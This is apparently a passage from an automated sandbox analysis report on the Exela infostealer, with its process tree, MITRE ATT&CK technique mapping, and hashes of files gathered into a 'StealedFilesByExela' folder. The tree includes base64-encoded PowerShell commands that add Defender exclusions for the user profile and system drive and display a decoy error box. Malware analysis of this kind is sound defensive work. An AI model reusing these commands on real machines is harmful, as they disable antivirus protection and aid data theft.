        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        21⤵
        
        PID:3320
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        21⤵
        
        PID:4072
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        22⤵
        
        PID:1232
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        21⤵
        
        PID:1376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        22⤵
        
        PID:3180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        22⤵
        
        PID:4212
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        22⤵
        
        PID:5244
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        23⤵
        
        PID:2036
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        22⤵
        
        PID:6036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        23⤵
        
        PID:1772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        23⤵
        
        PID:4920
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        23⤵
        
        PID:1264
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        24⤵
        
        PID:3384
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        23⤵
        
        PID:4380
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        24⤵
        
        PID:2628
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        24⤵
        
        PID:2360
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        24⤵
        
        PID:868
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        25⤵
        
        PID:1880
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        24⤵
        
        PID:3408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        25⤵
        
        PID:332
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        25⤵
        
        PID:5688
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        25⤵
        
        PID:5668
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        26⤵
        
        PID:6108
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        25⤵
        
        PID:3096
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        26⤵
        
        PID:5224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        26⤵
        
        PID:2684
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        26⤵
        
        PID:1604
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        27⤵
        
        PID:688
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        26⤵
        
        PID:4152
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        27⤵
        
        PID:952
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        27⤵
        
        PID:5848
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        27⤵
        
        PID:6108
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        28⤵
        
        PID:5504
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        27⤵
        
        PID:4028
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        28⤵
        
        PID:2792
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        28⤵
        
        PID:5512
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        28⤵
        
        PID:1880
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        29⤵
        
        PID:2964
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        28⤵
        
        PID:356
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        29⤵
        
        PID:3012

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:5816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
1⤵
PID:3600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\HistoryData.db

Filesize
160KB

MD5
f310cf1ff562ae14449e0167a3e1fe46

SHA1
85c58afa9049467031c6c2b17f5c12ca73bb2788

SHA256
e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

SHA512
1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

Download Submit
C:\Users\Admin\AppData\Local\Temp\HistoryData.db

Filesize
116KB

MD5
4e2922249bf476fb3067795f2fa5e794

SHA1
d2db6b2759d9e650ae031eb62247d457ccaa57d2

SHA256
c2c17166e7468877d1e80822f8a5f35a7700ac0b68f3b369a1f4154ae4f811e1

SHA512
8e5e12daf11f9f6e73fb30f563c8f2a64bbc7bb9deffe4969e23081ec1c4073cdf6c74e8dbcc65a271142083ad8312ec7d59505c90e718a5228d369f4240e1da

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\CheckpointGrant.mp4

Filesize
202KB

MD5
e61166c9942ff9d69d7fc0b50e05cebc

SHA1
8d2da53f1015f28ae2bd56c90d51dc4617369193

SHA256
2d2f0f8dd336c2ee7b4e04ade6df14faec5a363281b1fd9328b34861acc565f9

SHA512
bbb551c8cf3de7a56171ad176e52e4679916d03a30460974819fa3c558c4ad69fad622cc65fec10348cc0539edd544956f7c8825c9055e5e6723f78010bf094a

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\ConfirmRename.xlsx

Filesize
11KB

MD5
725ed377fef51fee8708b7baf0f501db

SHA1
ec059fdfb7645e999acb253ae1beda681334cc68

SHA256
10486cf492bad8a3a6db9443da16720611a26dbc4c7d648318ce3dabcc398b06

SHA512
7002ee6a4407bc8948b678d93a572f772402b514d318c50909dec05bc967b1dd0181e01e451fbd49b92581e8e9c42d13c16a580ddd5ac578d64094531f4b05d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\ConvertToWatch.xls

Filesize
124KB

MD5
8fb024c711fb41c1e2e610f88fa52a05

SHA1
7a5acf1e52e8ef27a55ed173cae58cbbea87ddfd

SHA256
f6dffe04a50f55bdb63044a0c7183322dd3ac1388b90de5d39c152b6232a2329

SHA512
acc26b7438fe71d7a30a8b11e844af97a486ab6f4c6c3cc823b31a41475a58e885e1ecca5c760fb5c30d3a47a4e6349d8186f8cc941393cd900a4e6111974135

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\DebugResize.xlsx

Filesize
11KB

MD5
11d6c11b180d6515cfae1918e40e71a3

SHA1
d0d15184bdcf3b349e682b60f6fb1fee9cd211a3

SHA256
2bdf990b92a5e0263c842c50b4ad21d100aa7901fde2fb5c0ee1109cfdfe1d82

SHA512
5057420ee499e37ec091e86ecec14cc1da7bf4601737dc835d13e21c57960f398a538bcf361e83869b8b45aa00b2ecdcc67dcc5815766b4608bffe831c27b218

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\EditUse.docx

Filesize
137KB

MD5
006fe0ac92dae3f533f16036acfdd436

SHA1
5be50b628b59fa90545dac917064b682a0fdbe7f

SHA256
93d8074052929cb9ffbd3666cb74d81c88d74176022d06f5acb7ce1ded388396

SHA512
ead0fcd703660327dd77593cbe735859d23b35f1ae86ba0a3c4f484a1ed106d0f6b8d85a2e24ef49e1d29aa27e95c17288ff6089b232785cf87c65245e1074ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\FormatPop.docx

Filesize
14KB

MD5
6178fc2cf0aeb5043875ec0efb682729

SHA1
96c90dbba2cd28ee77975f3ffd8b7bc402dd44c4

SHA256
6f317eed1f937725b5b5462311ad4f2ad25fb60a719c30d6284650f467caef81

SHA512
e17858b420d54504f6a80102d5a3132c6a800463425ecc69a96641231ac3c702584d6085f180c2d0ce745b937f982cf999c348c93df6e5e2f9e391b71c26012b

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\LimitGroup.jpeg

Filesize
182KB

MD5
bc5e75f4a6ddd423fc29641f9e1a24d2

SHA1
bd35ecc2167cf5d753c9ec97d6559c190fe2dc4a

SHA256
0d32125585a7eb71da4e3713ef4be3ece6095267795ec177ab08b1fb8d22ea49

SHA512
7b05209b62e154ab6aed1be56255a1e0ffdb35cabffc1ebbc0e1165fdd6c147a38aa72ac449a3a2eda6d4477b11019ed45d72b14b185006620980f7d3f4da315

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\RevokeSkip.jpg

Filesize
156KB

MD5
f5eab5061430ab074c4e2229502c2b23

SHA1
08c1eda8cb3d000039a8fabf1307272af1dc4131

SHA256
42ebafacd2cd1687bdcecf51e4f96674b5317f508aeecbc51deb0ac16f076048

SHA512
6c7c0501bf71b8bc4518e8c66e9904c387367d7debbebfa2e52fe5a69ce788b363a20ad50520743d7eecab75ae7fdd35ae4d6cfb5bddb4e4266f56aa6b327aed

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\SearchReset.jpg

Filesize
143KB

MD5
6667afa0f01852265e609c287e31ef3e

SHA1
ed32346805721e931afc88c94c74b21b71329a3f

SHA256
44063dd29815d31840ad87dd9fe3c3768d8d0a4917004e5793ed9e83f0456e2d

SHA512
7dc22f7147e38321755fc9075edc420c11991460f962cc7ae6f0303a805098d7b2c6829c0bc41338b75025d86b000767ef146bf6b1e6190d91981775790d81d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\SearchResize.xlsx

Filesize
12KB

MD5
553ad40f580154b162f26cf88f1379e4

SHA1
4c48d91410036de7755d11d57e9a6470a071d4ae

SHA256
7a4918fb59a59254019f1e445d4ea963750235e6a5a1430df8445eea6636b323

SHA512
25fbc350cb91b869986de6af67c12aefe58864c76e5c5bdff0fcd63fdbd94af64a2547ab184d2cecb27075a100bae09f82c7b2e69c1c01fc94868ef58526f291

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\WatchSubmit.xlsx

Filesize
15KB

MD5
981202e8a3e7c6e9cfd5f1712e9890b9

SHA1
56dce4774270de0b50a14a4b7e22c4b31c4179d2

SHA256
df4b0313e656f2c8c29384bbbd1c70f05d9d95eb89bcedc723558d091f9a85ab

SHA512
7c217c1a716be4676e62329a957641fef024b8f2ee30a9ec1a8e2b46849f36e661874df6d4799018b4ee94b8f3daf1be67e3ccb5745ff2981d97588fa1324554

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\HideResolve.txt

Filesize
566KB

MD5
0511f2a1e825c7ede5898d8bccfb161f

SHA1
4e1b1111b6ad6d50ee68690d24cb017aa48d579b

SHA256
cfcdad414517b53d4983f2219a8f70a44a7cef68cf129cbd097f111a7980c542

SHA512
6ee7719f416f1a6f71795bbcae52a8de13979241bca95b820e8d93e97cdd6a056d38589c9897116cff2e7046be917d10e90b4455be72c711ef78d59be0889357

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\RegisterDebug.docx

Filesize
19KB

MD5
7152eefa1b22c51706315d4201163c4e

SHA1
ec4ae55d649807e29d0d343fed374ac6942f0266

SHA256
73f9199876da38c30d724fe61a149ea5edeb8df910ae794084ede5e8cdd89b6f

SHA512
6dcc29b10a003f74eb272485e454374216e204ff92102981b9a5856775e8c24067b0c39d55efb5778499160889b64970a61ba10500699a083689e39353c490db

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\ShowGrant.docx

Filesize
17KB

MD5
0c1248ba6d73e7cafc541af71b7c9e8a

SHA1
2b0fdf15ab4177ddef7501f994db41a31fcaaa20

SHA256
d898c7a98630f6f26b5422f8c9984b98e8fbf0f43bc261a2241a945000a1bedd

SHA512
6d35dd99697101f55d0d7cf958f1f5fccf00797eb316f4cded4ad5e30db107c52830d2d640e44f7d57e4371664509b045f56303806c2f1211db1ce00f11dd0ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\UnprotectLock.csv

Filesize
933KB

MD5
9e6e01efcb59f9ed9b842f054b6f98d5

SHA1
ef4191e4de4d1011b10b0f64e783c2706720e6eb

SHA256
d3008b1c2bad04c66ad38969bc4c5e7ed21d3527090aac4b027f50fca430c479

SHA512
f3c38a931c6fa9d5c401d203d5c2965f463178d2f824269fd7c506fe6e6d2faa13b1d99885c5bb6c14af5326d4586b6059837742a0164ebcde8897a056cc3d71

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\UpdateDisable.xlsx

Filesize
10KB

MD5
bf47fdb23405b415159ae175dd4661c0

SHA1
977c2c49ecb43f5f46a88c70459b496ed4918ff9

SHA256
2c682bcef6edf18efbb5f595c1405b32e3c5285f5cd65cf06e6569e7f29f9c6b

SHA512
bafd3bf7e821b2e370822c515eaa0f3b8680e2fb0a4419b43a1998c321d8ba46513e15db6cd6665ffb7a7286d26fb15939744b1693230d8c2bcf4f2b844dc31f

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\ClearPush.xls

Filesize
591KB

MD5
3012882b84a48e9ac3294292eacbf46d

SHA1
a3a8939a598fc72a288b25af96d45b69187aade3

SHA256
48611a509907484be7637c35ef4851858675e81fd54def3f3673f748ca5c1075

SHA512
92c8347c92438494715818fa9fcf4061d637140d48b59fed9365cf19fb5be045a3b131794aff633f59527b1aeabc8147073c0102d38ba49296d879ecb2df381b

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\ConvertClose.csv

Filesize
551KB

MD5
dee490f17dabe2e1863d97fc7956309d

SHA1
77d54fea81df030fafb1de9832f7d2faba7bc3e9

SHA256
e63f36ce9221bfdc562a4cae2ca2efb020497066a88bcc8cfa0e7bc62a151afa

SHA512
d0e84ccfd8b9bb30131a380c04d220278b96ff6095432e99f5d3d1b0cce47d4f9928292c793842fb3163ff31d7dac88d27d25da24e098f2bc4745dfd8adbf6d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\CopyWrite.mp3

Filesize
631KB

MD5
82de023d160720dca785a5054e54b4d3

SHA1
d1a0e45ecf071a9ac09d9ab64d515c414ff8d9c7

SHA256
8cbafcb1a39283c4582364df4151f0017c62ba53a6623ad14b4acef8e0986f35

SHA512
33efe7641a7592f66c5e183024f4f3fa86ef419a573bc96c3d3cb4c85ef45e41397e423026d2c03319cde13c4205c4e8f17fd81184b78e504f87c5c2fd45495d

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\ResetBackup.mpp

Filesize
491KB

MD5
61d614a84f7eeceb818dd2f908b9f9a3

SHA1
895bdcc19d619318ac1f8d643befa861219874ca

SHA256
598d1a2e56ac56eac13dfd4fea11ad9bb012099088574814aad4a382e72601a5

SHA512
13846da933b45012fbd0494c02edd829ac7cb44322c29570a21444cb40ee70515e633fb3883f157d381b923f071277b6fc282909c06802aea292cc95182a6d29

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\RestoreEnter.jpeg

Filesize
1013KB

MD5
1971eaabf1020cea87658d9f907062e4

SHA1
128b77761be403d43e6448de895b1d0127c83f3e

SHA256
6ac732b07f4766e1e83840ab71b0e7231d7cc826b4b8c51c1c4f919a5d1b2d27

SHA512
7263f557f8aea7524e5e61742b2acaae56fe368c908e00d8ee432f20bd2e402ce072932d03a778b378d1dca47347a0af50c3474b480c47428a46cfaa4b7b132d

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Music\BackupRedo.ex_

Filesize
234KB

MD5
508fba7af204ab2f0c33fc9e1c947e88

SHA1
1edfb1afc90130c60120ddd52466715bf656d090

SHA256
96cd49485ffb4314a089cb2b66c7c6cb34db752f9cf9de0f972c44269a3796a5

SHA512
90691c07457f2b20132834566ede3e51a6c810a745358361284c4302af810d6a6024a2c99d3015a40c7d3a8ffe552b69295150da1768fa57012fb226738f773f

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Music\ExpandAssert.docx

